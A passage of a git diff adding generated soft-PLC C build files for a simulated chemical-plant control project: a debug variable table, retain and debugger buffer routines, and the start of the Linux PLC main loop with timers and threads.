+{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.HMI_PRESSURE), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_LEVEL), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F1_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F1_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F2_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F2_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PURGE_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PURGE_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PRODUCT_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PRODUCT_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.SCAN_COUNT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_K), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SUB32_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.MUL33_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SUB30_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.RUN_BIT), BOOL_ENUM}, +{&(RES0__INSTANCE0.RUN_BIT0), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.FLOW_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.A_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.PRESS_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.OVER_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.FLOW_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.A_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.PRESS_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.OVER_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE7_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE11_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE15_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE19_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.MOVE99_ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE99_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.MOVE4_ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE4_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.MOVE5_ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE5_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.MOVE7_ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE7_OUT), UINT_ENUM} +}; + +typedef void(*__for_each_variable_do_fp)(dbgvardsc_t*); +void __for_each_variable_do(__for_each_variable_do_fp fp) +{ + unsigned int i; + for(i = 0; i < sizeof(dbgvardsc)/sizeof(dbgvardsc_t); i++){ + dbgvardsc_t *dsc = &dbgvardsc[i]; + if(dsc->type != UNKNOWN_ENUM) + (*fp)(dsc); + } +} + +#define __Unpack_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + *flags = ((__IEC_##TYPENAME##_t *)varp)->flags;\ + forced_value_p = *real_value_p = &((__IEC_##TYPENAME##_t *)varp)->value;\ + break; + +#define __Unpack_case_p(TYPENAME)\ + case TYPENAME##_O_ENUM :\ + *flags = __IEC_OUTPUT_FLAG;\ + case TYPENAME##_P_ENUM :\ + *flags |= ((__IEC_##TYPENAME##_p *)varp)->flags;\ + *real_value_p = ((__IEC_##TYPENAME##_p *)varp)->value;\ + forced_value_p = &((__IEC_##TYPENAME##_p *)varp)->fvalue;\ + break; + +void* UnpackVar(dbgvardsc_t *dsc, void **real_value_p, char *flags) +{ + void *varp = dsc->ptr; + void *forced_value_p = NULL; + *flags = 0; + /* find data to copy*/ + switch(dsc->type){ + __ANY(__Unpack_case_t) + __ANY(__Unpack_case_p) + default: + break; + } + if (*flags & __IEC_FORCE_FLAG) + return forced_value_p; + return *real_value_p; +} + +void Remind(unsigned int offset, unsigned int count, void * p); + +void RemindIterator(dbgvardsc_t *dsc) +{ + void *real_value_p = NULL; + char flags = 0; + UnpackVar(dsc, &real_value_p, &flags); + + if(flags & __IEC_RETAIN_FLAG){ + USINT size = __get_type_enum_size(dsc->type); + /* compute next cursor positon*/ + unsigned int next_retain_offset = retain_offset + size; + /* if buffer not full */ + Remind(retain_offset, size, real_value_p); + /* increment cursor according size*/ + retain_offset = next_retain_offset; + } +} + +extern int CheckRetainBuffer(void); +extern void InitRetain(void); + +void __init_debug(void) +{ + /* init local static vars */ +#ifndef TARGET_ONLINE_DEBUG_DISABLE + buffer_cursor = debug_buffer; + buffer_state = BUFFER_FREE; +#endif + + retain_offset = 0; + InitRetain(); + /* Iterate over all variables to fill debug buffer */ + if(CheckRetainBuffer()){ + __for_each_variable_do(RemindIterator); + }else{ + char mstr[] = "RETAIN memory invalid - defaults used"; + LogMessage(LOG_WARNING, mstr, sizeof(mstr)); + } + retain_offset = 0; +} + +extern void InitiateDebugTransfer(void); +extern void CleanupRetain(void); + +extern unsigned long __tick; + +void __cleanup_debug(void) +{ +#ifndef TARGET_ONLINE_DEBUG_DISABLE + buffer_cursor = debug_buffer; + InitiateDebugTransfer(); +#endif + + CleanupRetain(); +} + +void __retrieve_debug(void) +{ +} + + +void Retain(unsigned int offset, unsigned int count, void * p); + +static inline void BufferIterator(dbgvardsc_t *dsc, int do_debug) +{ + void *real_value_p = NULL; + void *visible_value_p = NULL; + char flags = 0; + + visible_value_p = UnpackVar(dsc, &real_value_p, &flags); + + if(flags & ( __IEC_DEBUG_FLAG | __IEC_RETAIN_FLAG)){ + USINT size = __get_type_enum_size(dsc->type); + +#ifndef TARGET_ONLINE_DEBUG_DISABLE + if(flags & __IEC_DEBUG_FLAG){ + /* copy visible variable to buffer */; + if(do_debug){ + /* compute next cursor positon. + No need to check overflow, as BUFFER_SIZE + is computed large enough */ + if((dsc->type == STRING_ENUM) || + (dsc->type == STRING_P_ENUM) || + (dsc->type == STRING_O_ENUM)){ + /* optimization for strings */ + size = ((STRING*)visible_value_p)->len + 1; + } + char* next_cursor = buffer_cursor + size; + /* copy data to the buffer */ + memcpy(buffer_cursor, visible_value_p, size); + /* increment cursor according size*/ + buffer_cursor = next_cursor; + } + /* re-force real value of outputs (M and Q)*/ + if((flags & __IEC_FORCE_FLAG) && (flags & __IEC_OUTPUT_FLAG)){ + memcpy(real_value_p, visible_value_p, size); + } + } +#endif + + if(flags & __IEC_RETAIN_FLAG){ + /* compute next cursor positon*/ + unsigned int next_retain_offset = retain_offset + size; + /* if buffer not full */ + Retain(retain_offset, size, real_value_p); + /* increment cursor according size*/ + retain_offset = next_retain_offset; + } + } +} + +void DebugIterator(dbgvardsc_t *dsc){ + BufferIterator(dsc, 1); +} + +void RetainIterator(dbgvardsc_t *dsc){ + BufferIterator(dsc, 0); +} + + +unsigned int retain_size = 0; + +/* GetRetainSizeIterator */ +void GetRetainSizeIterator(dbgvardsc_t *dsc) +{ + void *real_value_p = NULL; + char flags = 0; + UnpackVar(dsc, &real_value_p, &flags); + + if(flags & __IEC_RETAIN_FLAG){ + USINT size = __get_type_enum_size(dsc->type); + /* Calc retain buffer size */ + retain_size += size; + } +} + +/* Return size of all retain variables */ +unsigned int GetRetainSize(void) +{ + __for_each_variable_do(GetRetainSizeIterator); + return retain_size; +} + + +extern void PLC_GetTime(IEC_TIME*); +extern int TryEnterDebugSection(void); +extern long AtomicCompareExchange(long*, long, long); +extern long long AtomicCompareExchange64(long long* , long long , long long); +extern void LeaveDebugSection(void); +extern void ValidateRetainBuffer(void); +extern void InValidateRetainBuffer(void); + +void __publish_debug(void) +{ + retain_offset = 0; + InValidateRetainBuffer(); + +#ifndef TARGET_ONLINE_DEBUG_DISABLE + /* Check there is no running debugger re-configuration */ + if(TryEnterDebugSection()){ + /* Lock buffer */ + long latest_state = AtomicCompareExchange( + &buffer_state, + BUFFER_FREE, + BUFFER_BUSY); + + /* If buffer was free */ + if(latest_state == BUFFER_FREE) + { + /* Reset buffer cursor */ + buffer_cursor = debug_buffer; + /* Iterate over all variables to fill debug buffer */ + __for_each_variable_do(DebugIterator); + + /* Leave debug section, + * Trigger asynchronous transmission + * (returns immediately) */ + InitiateDebugTransfer(); /* size */ + }else{ + /* when not debugging, do only retain */ + __for_each_variable_do(RetainIterator); + } + LeaveDebugSection(); + }else +#endif + { + /* when not debugging, do only retain */ + __for_each_variable_do(RetainIterator); + } + ValidateRetainBuffer(); +} + +#ifndef TARGET_ONLINE_DEBUG_DISABLE +#define __RegisterDebugVariable_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + ((__IEC_##TYPENAME##_t *)varp)->flags |= flags;\ + if(force)\ + ((__IEC_##TYPENAME##_t *)varp)->value = *((TYPENAME *)force);\ + break; +#define __RegisterDebugVariable_case_p(TYPENAME)\ + case TYPENAME##_P_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags |= flags;\ + if(force)\ + ((__IEC_##TYPENAME##_p *)varp)->fvalue = *((TYPENAME *)force);\ + break;\ + case TYPENAME##_O_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags |= flags;\ + if(force){\ + ((__IEC_##TYPENAME##_p *)varp)->fvalue = *((TYPENAME *)force);\ + *(((__IEC_##TYPENAME##_p *)varp)->value) = *((TYPENAME *)force);\ + }\ + break; +void RegisterDebugVariable(unsigned int idx, void* force) +{ + if(idx < sizeof(dbgvardsc)/sizeof(dbgvardsc_t)){ + unsigned char flags = force ? + __IEC_DEBUG_FLAG | __IEC_FORCE_FLAG : + __IEC_DEBUG_FLAG; + dbgvardsc_t *dsc = &dbgvardsc[idx]; + void *varp = dsc->ptr; + switch(dsc->type){ + __ANY(__RegisterDebugVariable_case_t) + __ANY(__RegisterDebugVariable_case_p) + default: + break; + } + } +} + +#define __ResetDebugVariablesIterator_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + ((__IEC_##TYPENAME##_t *)varp)->flags &= ~(__IEC_DEBUG_FLAG|__IEC_FORCE_FLAG);\ + break; + +#define __ResetDebugVariablesIterator_case_p(TYPENAME)\ + case TYPENAME##_P_ENUM :\ + case TYPENAME##_O_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags &= ~(__IEC_DEBUG_FLAG|__IEC_FORCE_FLAG);\ + break; + +void ResetDebugVariablesIterator(dbgvardsc_t *dsc) +{ + /* force debug flag to 0*/ + void *varp = dsc->ptr; + switch(dsc->type){ + __ANY(__ResetDebugVariablesIterator_case_t) + __ANY(__ResetDebugVariablesIterator_case_p) + default: + break; + } +} + +void ResetDebugVariables(void) +{ + __for_each_variable_do(ResetDebugVariablesIterator); +} + +void FreeDebugData(void) +{ + /* atomically mark buffer as free */ + AtomicCompareExchange( + &buffer_state, + BUFFER_BUSY, + BUFFER_FREE); +} +int WaitDebugData(unsigned long *tick); +/* Wait until debug data ready and return pointer to it */ +int GetDebugData(unsigned long *tick, unsigned long *size, void **buffer){ + int wait_error = WaitDebugData(tick); + if(!wait_error){ + *size = buffer_cursor - debug_buffer; + *buffer = debug_buffer; + } + return wait_error; +} +#endif +#endif + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_debugger.o b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_debugger.o new file mode 100644 index 0000000..dd4a2c2 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_debugger.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_main.c b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_main.c new file mode 100644 index 0000000..8d7b240 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_main.c @@ -0,0 +1,888 @@ +/** + * Head of code common to all C targets + **/ + +#include "beremiz.h" +#include +/* + * Prototypes of functions provided by generated C softPLC + **/ +void config_run__(unsigned long tick); +void config_init__(void); + +/* + * Prototypes of functions provided by generated target C code + * */ +long long AtomicCompareExchange64(long long*, long long, long long); +void __init_debug(void); +void __cleanup_debug(void); +/*void __retrieve_debug(void);*/ +void __publish_debug(void); + +/* + * Variables used by generated C softPLC and plugins + **/ +IEC_TIME __CURRENT_TIME; +IEC_BOOL __DEBUG = 0; +unsigned long __tick = 0; +char *PLC_ID = NULL; + +/* + * Variable generated by C softPLC and plugins + **/ +extern unsigned long greatest_tick_count__; + +/* Help to quit cleanly when init fail at a certain level */ +static int init_level = 0; + +/* + * Prototypes of functions exported by plugins + **/ +int __init_py_ext(int argc,char **argv); +void __cleanup_py_ext(void); +void __retrieve_py_ext(void); +void __publish_py_ext(void); + +/* + * Retrieve input variables, run PLC and publish output variables + **/ +void __run(void) +{ + __tick++; + if (greatest_tick_count__) + __tick %= greatest_tick_count__; + + __retrieve_py_ext(); + + /*__retrieve_debug();*/ + + config_run__(__tick); + + __publish_debug(); + + __publish_py_ext(); + +} + +/* + * Initialize variables according to PLC's default values, + * and then init plugins with that values + **/ +int __init(int argc,char **argv) +{ + int res = 0; + init_level = 0; + + /* Effective tick time with 1ms default value */ + if(!common_ticktime__) + common_ticktime__ = 1000000; + + config_init__(); + __init_debug(); + init_level=1; if((res = __init_py_ext(argc,argv))){return res;} + return res; +} +/* + * Calls plugin cleanup proc. + **/ +void __cleanup(void) +{ + if(init_level >= 1) __cleanup_py_ext(); + __cleanup_debug(); +} + +void PLC_GetTime(IEC_TIME *CURRENT_TIME); +void PLC_SetTimer(unsigned long long next, unsigned long long period); + + + +/** + * Linux specific code + **/ + +#include +#include +#include +#include +#include +#include +#include +#include + +static sem_t Run_PLC; + +long AtomicCompareExchange(long* atomicvar,long compared, long exchange) +{ + return __sync_val_compare_and_swap(atomicvar, compared, exchange); +} +long long AtomicCompareExchange64(long long* atomicvar, long long compared, long long exchange) +{ + return __sync_val_compare_and_swap(atomicvar, compared, exchange); +} + +void PLC_GetTime(IEC_TIME *CURRENT_TIME) +{ + struct timespec tmp; + clock_gettime(CLOCK_REALTIME, &tmp); + CURRENT_TIME->tv_sec = tmp.tv_sec; + CURRENT_TIME->tv_nsec = tmp.tv_nsec; +} + +void PLC_timer_notify(sigval_t val) +{ + PLC_GetTime(&__CURRENT_TIME); + sem_post(&Run_PLC); +} + +timer_t PLC_timer; + +void PLC_SetTimer(unsigned long long next, unsigned long long period) +{ + struct itimerspec timerValues; + /* + printf("SetTimer(%lld,%lld)\n",next, period); + */ + memset (&timerValues, 0, sizeof (struct itimerspec)); + { +#ifdef __lldiv_t_defined + lldiv_t nxt_div = lldiv(next, 1000000000); + lldiv_t period_div = lldiv(period, 1000000000); + timerValues.it_value.tv_sec = nxt_div.quot; + timerValues.it_value.tv_nsec = nxt_div.rem; + timerValues.it_interval.tv_sec = period_div.quot; + timerValues.it_interval.tv_nsec = period_div.rem; +#else + timerValues.it_value.tv_sec = next / 1000000000; + timerValues.it_value.tv_nsec = next % 1000000000; + timerValues.it_interval.tv_sec = period / 1000000000; + timerValues.it_interval.tv_nsec = period % 1000000000; +#endif + } + timer_settime (PLC_timer, 0, &timerValues, NULL); +} +// +void catch_signal(int sig) +{ +// signal(SIGTERM, catch_signal); + signal(SIGINT, catch_signal); + printf("Got Signal %d\n",sig); + exit(0); +} + + +static unsigned long __debug_tick; + +pthread_t PLC_thread; +static pthread_mutex_t python_wait_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t python_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t debug_wait_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t debug_mutex = PTHREAD_MUTEX_INITIALIZER; + +int PLC_shutdown = 0; + +int ForceSaveRetainReq(void) { + return PLC_shutdown; +} + +void PLC_thread_proc(void *arg) +{ + while (!PLC_shutdown) { + sem_wait(&Run_PLC); + __run(); + } + pthread_exit(0); +} + +#define maxval(a,b) ((a>b)?a:b) +int startPLC(int argc,char **argv) +{ + struct sigevent sigev; + setlocale(LC_NUMERIC, "C"); + + PLC_shutdown = 0; + + sem_init(&Run_PLC, 0, 0); + + pthread_create(&PLC_thread, NULL, (void*) &PLC_thread_proc, NULL); + + memset (&sigev, 0, sizeof (struct sigevent)); + sigev.sigev_value.sival_int = 0; + sigev.sigev_notify = SIGEV_THREAD; + sigev.sigev_notify_attributes = NULL; + sigev.sigev_notify_function = PLC_timer_notify; + + pthread_mutex_init(&debug_wait_mutex, NULL); + pthread_mutex_init(&debug_mutex, NULL); + pthread_mutex_init(&python_wait_mutex, NULL); + pthread_mutex_init(&python_mutex, NULL); + + pthread_mutex_lock(&debug_wait_mutex); + pthread_mutex_lock(&python_wait_mutex); + + timer_create (CLOCK_MONOTONIC, &sigev, &PLC_timer); + if( __init(argc,argv) == 0 ){ + PLC_SetTimer(common_ticktime__,common_ticktime__); + + /* install signal handler for manual break */ + signal(SIGINT, catch_signal); + }else{ + return 1; + } + return 0; +} + +int TryEnterDebugSection(void) +{ + if (pthread_mutex_trylock(&debug_mutex) == 0){ + /* Only enter if debug active */ + if(__DEBUG){ + return 1; + } + pthread_mutex_unlock(&debug_mutex); + } + return 0; +} + +void LeaveDebugSection(void) +{ + pthread_mutex_unlock(&debug_mutex); +} + +int stopPLC() +{ + /* Stop the 